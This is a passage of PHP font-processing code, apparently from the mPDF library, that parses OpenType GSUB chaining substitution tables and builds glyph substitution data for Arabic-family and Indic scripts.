= $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; for ($s = 0; $s < $ChainSubRuleSetCnt; $s++) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][$s]); $ChainSubRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleCount'] = $this->read_ushort(); for ($r = 0; $r < $ChainSubRuleCnt; $r++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleOffset'][$r] = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][$s] + $this->read_ushort(); } } for ($s = 0; $s < $ChainSubRuleSetCnt; $s++) { $ChainSubRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleCount']; for ($r = 0; $r < $ChainSubRuleCnt; $r++) { // ChainSubRule $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRuleOffset'][$r]); $BacktrackGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['BacktrackGlyphCount'] = $this->read_ushort(); for ($g = 0; $g < $BacktrackGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['BacktrackGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $InputGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['InputGlyphCount'] = $this->read_ushort(); for ($g = 1; $g < $InputGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['InputGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $LookaheadGlyphCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookaheadGlyphCount'] = $this->read_ushort(); for ($g = 0; $g < $LookaheadGlyphCount; $g++) { $glyphID = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookaheadGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } $SubstCount = $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['SubstCount'] = $this->read_ushort(); for ($lu = 0; $lu < $SubstCount; $lu++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['SequenceIndex'][$lu] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'][$r]['LookupListIndex'][$lu] = $this->read_ushort(); } } } } // Format 2: Class-based Chaining Context Glyph Substitution p257 elseif ($SubstFormat == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $BacktrackClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['BacktrackClassDefOffset']); $Lookup[$i]['Subtable'][$c]['BacktrackClasses'] = $BacktrackClasses; $InputClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['InputClassDefOffset']); $Lookup[$i]['Subtable'][$c]['InputClasses'] = $InputClasses; $LookaheadClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['LookaheadClassDefOffset']); $Lookup[$i]['Subtable'][$c]['LookaheadClasses'] = $LookaheadClasses; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $s++) { if ($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s]); $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRuleCnt'] = $ChainSubClassRuleCnt = $this->read_ushort(); $ChainSubClassRule = []; for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { $ChainSubClassRule[$b] = $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b] = $ChainSubClassRule[$b]; } } } for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $s++) { if (isset($Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRuleCnt'])) { $ChainSubClassRuleCnt = $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRuleCnt']; } else { $ChainSubClassRuleCnt = 0; } for ($b = 0; $b < $ChainSubClassRuleCnt; $b++) { if ($Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b]); $Rule = []; $Rule['BacktrackGlyphCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['BacktrackGlyphCount']; $r++) { $Rule['Backtrack'][$r] = $this->read_ushort(); } $Rule['InputGlyphCount'] = $this->read_ushort(); for ($r = 1; $r < $Rule['InputGlyphCount']; $r++) { $Rule['Input'][$r] = $this->read_ushort(); } $Rule['LookaheadGlyphCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['LookaheadGlyphCount']; $r++) { $Rule['Lookahead'][$r] = $this->read_ushort(); } $Rule['SubstCount'] = $this->read_ushort(); for ($r = 0; $r < $Rule['SubstCount']; $r++) { $Rule['SequenceIndex'][$r] = $this->read_ushort(); $Rule['LookupListIndex'][$r] = $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['ChainSubClassSet'][$s]['ChainSubClassRule'][$b] = $Rule; } } } } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 elseif ($SubstFormat == 3) { for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageBacktrack'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageBacktrackGlyphs'][] = implode("|", $glyphs); } for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageInput'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs'][] = implode("|", $glyphs); // Don't use above value as these are ordered numerically not as need to process } for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageLookahead'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageLookaheadGlyphs'][] = implode("|", $glyphs); } } } } } $GSUBScriptLang = []; $rtlpua = []; // All glyphs added to PUA [for magic_reverse] foreach ($gsub as $st => $scripts) { foreach ($scripts as $t => $langsys) { $lul = []; // array of LookupListIndexes $tags = []; // corresponding array of feature tags e.g. 'ccmp' foreach ($langsys as $tag => $ft) { foreach ($ft as $ll) { $lul[$ll] = $tag; } } ksort($lul); // Order the Lookups in the order they are in the GUSB table, regardless of Feature order $volt = $this->_getGSUBarray($Lookup, $lul, $st); // Interrogate $volt // isol, fin, medi, init(arab syrc) into $rtlSUB for use in ArabJoin // but also identify all RTL chars in PUA for magic_reverse (arab syrc hebr thaa nko samr) // identify reph, matras, vatu, half forms etc for Indic for final re-ordering $rtl = []; $rtlSUB = []; $finals = ''; if (strpos('arab syrc hebr thaa nko samr', $st) !== false) { // all RTL scripts [any/all languages] ? Mandaic foreach ($volt as $v) { // isol fina fin2 fin3 medi med2 for Syriac // ISOLATED FORM :: FINAL :: INITIAL :: MEDIAL :: MED2 :: FIN2 :: FIN3 if (strpos('isol fina init medi fin2 fin3 med2', $v['tag']) !== false) { $key = $v['match']; $key = preg_replace('/[\(\)]*/', '', $key); $sub = $v['replace']; if ($v['tag'] === 'isol') { $kk = 0; } elseif ($v['tag'] === 'fina') { $kk = 1; } elseif ($v['tag'] === 'init') { $kk = 2; } elseif ($v['tag'] === 'medi') { $kk = 3; } elseif ($v['tag'] === 'med2') { $kk = 4; } elseif ($v['tag'] === 'fin2') { $kk = 5; } elseif ($v['tag'] === 'fin3') { $kk = 6; } $rtl[$key][$kk] = $sub; if (isset($v['prel']) && count($v['prel'])) { $rtl[$key]['prel'][$kk] = $v['prel']; } if (isset($v['postl']) && count($v['postl'])) { $rtl[$key]['postl'][$kk] = $v['postl']; } if (isset($v['ignore']) && $v['ignore']) { $rtl[$key]['ignore'][$kk] = $v['ignore']; } $rtlpua[] = $sub; } else { // Add any other glyphs which are in PUA if (isset($v['context']) && $v['context']) { foreach ($v['rules'] as $vs) { $matchCount = count($vs['match']); for ($i = 0; $i < $matchCount; $i++) { if (isset($vs['replace'][$i]) && preg_match('/^0[A-F0-9]{4}$/', $vs['match'][$i])) { if (preg_match('/^0[EF][A-F0-9]{3}$/', $vs['replace'][$i])) { $rtlpua[] = $vs['replace'][$i]; } } } } } else { preg_match_all('/\((0[A-F0-9]{4})\)/', $v['match'], $m); $matchCount = count($m[0]); for ($i = 0; $i < $matchCount; $i++) { $sb = explode(' ', $v['replace']); foreach ($sb as $sbg) { if (preg_match('/(0[EF][A-F0-9]{3})/', $sbg, $mr)) { $rtlpua[] = $mr[1]; } } } } } } // For kashida, need to determine all final forms except ones already identified by kashida priority rules (see \Mpdf\Otl) foreach ($rtl as $base => $variants) { if (isset($variants[1])) { // i.e. final form if (strpos('0FE8E 0FE94 0FEA2 0FEAA 0FEAE 0FEC2 0FEDA 0FEDE 0FB93 0FECA 0FED2 0FED6 0FEEE 0FEF0 0FEF2', $variants[1]) === false) { // not already included // This version does not exclude RA (0631) FEAE; Ya (064A) FEF2; Alef Maqsurah (0649) FEF0 which // are selected in priority if connected to a medial Bah //if (strpos('0FE8E 0FE94 0FEA2 0FEAA 0FEC2 0FEDA 0FEDE 0FB93 0FECA 0FED2 0FED6 0FEEE', $variants[1])===false) { // not already included $finals .= $variants[1] . ' '; } } } ksort($rtl); $rtlSUB = $rtl; } // INDIC - Dynamic properties $rphf = []; $half = []; $pref = []; $blwf = []; $pstf = []; if (strpos('dev2 bng2 gur2 gjr2 ory2 tml2 tel2 knd2 mlm2 deva beng guru gujr orya taml telu knda mlym', $st) !== false) { // all INDIC scripts [any/all languages] if (strpos('deva beng guru gujr orya taml telu knda mlym', $st) !== false) { $is_old_spec = true; } else { $is_old_spec = false; } // First get 'locl' substitutions (reversed!) $loclsubs = []; foreach ($volt as $v) { if (strpos('locl', $v['tag']) !== false) { $key = $v['match']; $key = preg_replace('/[\(\)]*/', '', $key); $sub = $v['replace']; if ($key && strlen(trim($key)) == 5 && $sub) { $loclsubs[$sub] = $key; } } } foreach ($volt as $v) { // <rphf> <half> <pref> <blwf> <pstf> // defines consonant types: // Reph <rphf> // Half forms <half> // Pre-base-reordering forms of Ra/Rra <pref> // Below-base forms <blwf> // Post-base forms <pstf> // applied together with <locl> feature to input sequences consisting of two characters // This is done for each consonant // for <rphf> and <half>, features are applied to Consonant + Halant combinations // for <pref>, <blwf> and <pstf>, features are applied to Halant + Consonant combinations // Old version eg 'deva' <pref>, <blwf> and <pstf>, features are applied to Consonant + Halant // Some malformed fonts still do Consonant + Halant for these - so match both?? // If these two glyphs form a ligature, with no additional glyphs in context // this means the consonant has the corresponding form // Currently set to cope with both // See also classes/otl.php if (strpos('rphf half pref blwf pstf', $v['tag']) !== false) { if (isset($v['context']) && $v['context'] && $v['nBacktrack'] == 0 && $v['nLookahead'] == 0) { foreach ($v['rules'] as $vs) { if (count($vs['match']) == 2 && count($vs['replace']) == 1) { $sub = $vs['replace'][0]; // If Halant Cons <pref>, <blwf> and <pstf> in New version only if (strpos('0094D 009CD 00A4D 00ACD 00B4D 00BCD 00C4D 00CCD 00D4D', $vs['match'][0]) !== false && strpos('pref blwf pstf', $v['tag']) !== false && !$is_old_spec) { $key = $vs['match'][1]; $tag = $v['tag']; if (isset($loclsubs[$key])) { ${$tag[$loclsubs[$key]]} = $sub; } $tmp = &$$tag; $tmp[hexdec($key)] = hexdec($sub); } // If Cons Halant <rphf> and <half> always // and <pref>, <blwf> and <pstf> in Old version elseif (strpos('0094D 009CD 00A4D 00ACD 00B4D 00BCD 00C4D 00CCD 00D4D', $vs['match'][1]) !== false && (strpos('rphf half', $v['tag']) !== false || (strpos('pref blwf pstf', $v['tag']) !== false && ($is_old_spec || _OTL_OLD_SPEC_COMPAT_2)))) { $key = $vs['match'][0]; $tag = $v['tag']; if (isset($loclsubs[$key])) { ${$tag[$loclsubs[$key]]} = $sub; } $tmp = &$$tag; $tmp[hexdec($key)] = hexdec($sub); } } } } elseif (!isset($v['context'])) { $key = $v['match']; $key = preg_replace('/[\(\)]*/', '', $key); $sub = $v['replace']; if ($key && strlen(trim($key)) == 11 && $sub) { // If Cons Halant <rphf> and <half> always // and <pref>, <blwf> and <pstf> in Old version // If Halant Cons <pref>, <blwf> and <pstf> in New version only if (strpos('0094D 009CD 00A4D 00ACD 00B4D 00BCD 00C4D 00CCD 00D4D', substr($key, 0, 5)) !== false && strpos('pref blwf pstf', $v['tag']) !== false && !$is_old_spec) { $key = substr($key, 6, 5); $tag = $v['tag']; if (isset($loclsubs[$key])) { ${$tag[$loclsubs[$key]]} = $sub; } $tmp = &$$tag; $tmp[hexdec($key)] = hexdec($sub); } elseif (strpos('0094D 009CD 00A4D 00ACD 00B4D 00BCD 00C4D 00CCD 00D4D', substr($key, 6, 5)) !== false && (strpos('rphf half', $v['tag']) !== false || (strpos('pref blwf pstf', $v['tag']) !== false && ($is_old_spec || _OTL_OLD_SPEC_COMPAT_2)))) { $key = substr($key, 0, 5); $tag = $v['tag']; if (isset($loclsubs[$key])) { ${$tag[$loclsubs[$key]]} = $sub; } $tmp = &$$tag; $tmp[hexdec($key)] = hexdec($sub); } } } } } } if (count($rtl) || count($rphf) || count($half) || count($pref) || count($blwf) || count($pstf) || $finals) { $font = [ 'rtlSUB' => $rtlSUB, 'finals' => $finals, 'rphf' => $rphf, 'half' => $half, 'pref' => $pref, 'blwf' => $blwf, 'pstf' => $pstf, ]; $this->fontCache->jsonWrite($this->fontkey . '.GSUB.' . $st . '.' . $t . '.json', $font); } if (!isset($GSUBScriptLang[$st])) { $GSUBScriptLang[$st] = ''; } $GSUBScriptLang[$st] .= $t . ' '; } } // All RTL glyphs from font added to (or already in) PUA [reqd for magic_reverse] $rtlPUAstr = ''; if (count($rtlpua)) { $rtlpua = array_unique($rtlpua); sort($rtlpua); $n = count($rtlpua); for ($i = 0; $i < $n; $i++) { if (hexdec($rtlpua[$i]) < hexdec('E000') || hexdec($rtlpua[$i]) > hexdec('F8FF')) { unset($rtlpua[$i]); } } sort($rtlpua, SORT_STRING); $rangeid = -1; $range = []; $prevgid = -2; // for each character foreach ($rtlpua as $gidhex) { $gid = hexdec($gidhex); if ($gid == ($prevgid + 1)) { $range[$rangeid]['end'] = $gidhex; $range[$rangeid]['count']++; } else { // new range $rangeid++; $range[$rangeid] = []; $range[$rangeid]['start'] = $gidhex; $range[$rangeid]['end'] = $gidhex; $range[$rangeid]['count'] = 1; } $prevgid = $gid; } foreach ($range as $rg) { if ($rg['count'] == 1) { $rtlPUAstr .= "\x{" . $rg['start'] . "}"; } elseif ($rg['count'] == 2) { $rtlPUAstr .= "\x{" . $rg['start'] . "}\x{" . $rg['end'] . "}"; } else { $rtlPUAstr .= "\x{" . $rg['start'] . "}-\x{" . $rg['end'] . "}"; } } } return [$GSUBScriptLang, $gsub, $GSLookup, $rtlPUAstr]; } // GSUB functions function _getGSUBarray(&$Lookup, &$lul, $scripttag) { // Process (3) LookupList for specific Script-LangSys // Generate preg_replace $volt = []; $reph = ''; $matraE = ''; $vatu = ''; foreach ($lul as $i => $tag) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $SubstFormat = $Lookup[$i]['Subtable'][$c]['Format']; // LookupType 1: Single Substitution Subtable if ($Lookup[$i]['Type'] == 1) { $subCount = count($Lookup[$i]['Subtable'][$c]['subs']); for ($s = 0; $s < $subCount; $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; // Ignore has already been applied earlier on $repl = $this->_makeGSUBinputMatch($inputGlyphs, "()"); $subs = $this->_makeGSUBinputReplacement(1, $substitute, "()", 0, 1, 0); $volt[] = ['match' => $repl, 'replace' => $subs, 'tag' => $tag, 'key' => $inputGlyphs[0], 'type' => 1]; } } // LookupType 2: Multiple Substitution Subtable elseif ($Lookup[$i]['Type'] == 2) { for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = implode(" ", $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute']); // Ignore has already been applied earlier on $repl = $this->_makeGSUBinputMatch($inputGlyphs, "()"); $subs = $this->_makeGSUBinputReplacement(1, $substitute, "()", 0, 1, 0); $volt[] = ['match' => $repl, 'replace' => $subs, 'tag' => $tag, 'key' => $inputGlyphs[0], 'type' => 2]; } } // LookupType 3: Alternate Forms elseif ($Lookup[$i]['Type'] == 3) { for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; // Ignore has already been applied earlier on $repl = $this->_makeGSUBinputMatch($inputGlyphs, "()"); $subs = $this->_makeGSUBinputReplacement(1, $substitute, "()", 0, 1, 0); $volt[] = ['match' => $repl, 'replace' => $subs, 'tag' => $tag, 'key' => $inputGlyphs[0], 'type' => 3]; } } // LookupType 4: Ligature Substitution Subtable elseif ($Lookup[$i]['Type'] == 4) { for ($s = 0; $s < count($Lookup[$i]['Subtable'][$c]['subs']); $s++) { $inputGlyphs = $Lookup[$i]['Subtable'][$c]['subs'][$s]['Replace']; $substitute = $Lookup[$i]['Subtable'][$c]['subs'][$s]['substitute'][0]; // Ignore has already been applied earlier on $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); $repl = $this->_makeGSUBinputMatch($inputGlyphs, $ignore); $subs = $this->_makeGSUBinputReplacement(count($inputGlyphs), $substitute, $ignore, 0, count($inputGlyphs), 0); $volt[] = ['match' => $repl, 'replace' => $subs, 'tag' => $tag, 'key' => $inputGlyphs[0], 'type' => 4, 'CompCount' => $Lookup[$i]['Subtable'][$c]['subs'][$s]['CompCount'], 'Lig' => $substitute]; } } // LookupType 5: Chaining Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 5) { // Format 1: Context Substitution if ($SubstFormat == 1) { $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubRuleSetCount']; $s++) { // SubRuleSet $subRule = []; foreach ($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'] as $rule) { // SubRule $inputGlyphs = []; if ($rule['GlyphCount'] > 1) { $inputGlyphs = $rule['InputGlyphs']; } $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['FirstGlyph']; ksort($inputGlyphs); $nInput = count($inputGlyphs); $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => '', 'match' => $contextInputMatch, 'nBacktrack' => 0, 'nInput' => $nInput, 'nLookahead' => 0, 'rules' => [],]; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $rule['SubstLookupRecord'][$b]['SequenceIndex']; // $Lookup[$lup] = secondary Lookup for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } $REPL = implode(" ", $luss['substitute']); if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 2: Class-based Context Glyph Substitution elseif ($SubstFormat == 2) { $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); foreach ($Lookup[$i]['Subtable'][$c]['SubClassSet'] as $inputClass => $cscs) { for ($cscrule = 0; $cscrule < $cscs['SubClassRuleCnt']; $cscrule++) { $rule = $cscs['SubClassRule'][$cscrule]; $inputGlyphs = []; $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$inputClass]; if ($rule['InputGlyphCount'] > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $rule['InputGlyphCount']; $gcl++) { $classindex = $rule['Input'][$gcl]; if (isset($Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex])) { $inputGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex]; } // if class[0] = all glyphs excluding those specified in all other classes // set to blank '' for now else { $inputGlyphs[$gcl] = ''; } } } $nInput = $rule['InputGlyphCount']; $nIsubs = (2 * $nInput) - 1; $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => '', 'match' => $contextInputMatch, 'nBacktrack' => 0, 'nInput' => $nInput, 'nLookahead' => 0, 'rules' => [],]; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // $Lookup[$lup] = secondary Lookup for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (isset($Lookup[$lup]['Subtable'][$lus]['subs']) && count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex); $REPL = implode(" ", $luss['substitute']); // Returns e.g. "REPL\${6}\${8}" or "\${1}\${2} \${3} REPL\${4}\${6}\${8} \${9}" if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 3: Coverage-based Context Glyph Substitution p259 elseif ($SubstFormat == 3) { // IgnoreMarks flag set on main Lookup table $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); $inputGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs']; $CoverageInputGlyphs = implode('|', $inputGlyphs); $nInput = $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; if ($Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']) { $backtrackGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageBacktrackGlyphs']; } else { $backtrackGlyphs = []; } // Returns e.g. ¦(FEEB|FEEC)(ignore) ¦(FD12|FD13)(ignore) ¦ $backtrackMatch = $this->_makeGSUBbacktrackMatch($backtrackGlyphs, $ignore); if ($Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']) { $lookaheadGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageLookaheadGlyphs']; } else { $lookaheadGlyphs = []; } // Returns e.g. ¦(ignore) (FD12|FD13)¦(ignore) (FEEB|FEEC)¦ $lookaheadMatch = $this->_makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore); $nBsubs = 2 * count($backtrackGlyphs); $nIsubs = (2 * $nInput) - 1; $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => $backtrackMatch, 'match' => ($contextInputMatch . $lookaheadMatch), 'nBacktrack' => count($backtrackGlyphs), 'nInput' => $nInput, 'nLookahead' => count($lookaheadGlyphs), 'rules' => [],]; for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $lup = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex']; for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex); $REPL = implode(" ", $luss['substitute']); if (strpos("isol fina fin2 fin3 medi med2 init ", $tag) !== false && $scripttag == 'arab') { $volt[] = ['match' => $lookupGlyphs[0], 'replace' => $REPL, 'tag' => $tag, 'prel' => $backtrackGlyphs, 'postl' => $lookaheadGlyphs, 'ignore' => $ignore]; } else { $subRule['rules'][] = ['type' => $Lookup[$lup]['Type'], 'match' => $lookupGlyphs, 'replace' => $luss['substitute'], 'seqIndex' => $seqIndex, 'key' => $lookupGlyphs[0],]; } } } } } if (count($subRule['rules'])) { $volt[] = $subRule; } } } // LookupType 6: ing Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 6) { // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $ignore = $this->_getGSUBignoreString($Lookup[$i]['Flag'], $Lookup[$i]['MarkFilteringSet']); for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; $s++) { // ChainSubRuleSet $subRule = []; $firstInputGlyph = $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'][$s]; // First input gyyph foreach ($Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'] as $rule) { // ChainSubRule $inputGlyphs = []; if ($rule['InputGlyphCount'] > 1) { $inputGlyphs = $rule['InputGlyphs']; } $inputGlyphs[0] = $firstInputGlyph; ksort($inputGlyphs); $nInput = count($inputGlyphs); if ($rule['BacktrackGlyphCount']) { $backtrackGlyphs = $rule['BacktrackGlyphs']; } else { $backtrackGlyphs = []; } $backtrackMatch = $this->_makeGSUBbacktrackMatch($backtrackGlyphs, $ignore); if ($rule['LookaheadGlyphCount']) { $lookaheadGlyphs = $rule['LookaheadGlyphs']; } else { $lookaheadGlyphs = []; } $lookaheadMatch = $this->_makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore); $nBsubs = 2 * count($backtrackGlyphs); $nIsubs = (2 * $nInput) - 1; $contextInputMatch = $this->_makeGSUBcontextInputMatch($inputGlyphs, $ignore, [], 0); $subRule = ['context' => 1, 'tag' => $tag, 'matchback' => $backtrackMatch, 'match' => ($contextInputMatch . $lookaheadMatch), 'nBacktrack' => count($backtrackGlyphs), 'nInput' => $nInput, 'nLookahead' => count($lookaheadGlyphs), 'rules' => [],]; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // $Lookup[$lup] = secondary Lookup for ($lus = 0; $lus < $Lookup[$lup]['SubtableCount']; $lus++) { if (count($Lookup[$lup]['Subtable'][$lus]['subs'])) { foreach ($Lookup[$lup]['Subtable'][$lus]['subs'] as $luss) { $lookupGlyphs = $luss['Replace']; $mLen = count($lookupGlyphs); // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // then apply the substitution if (strpos($inputGlyphs[$seqIndex], $lookupGlyphs[0]) === false) { continue; } // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ $contextInputMatch = 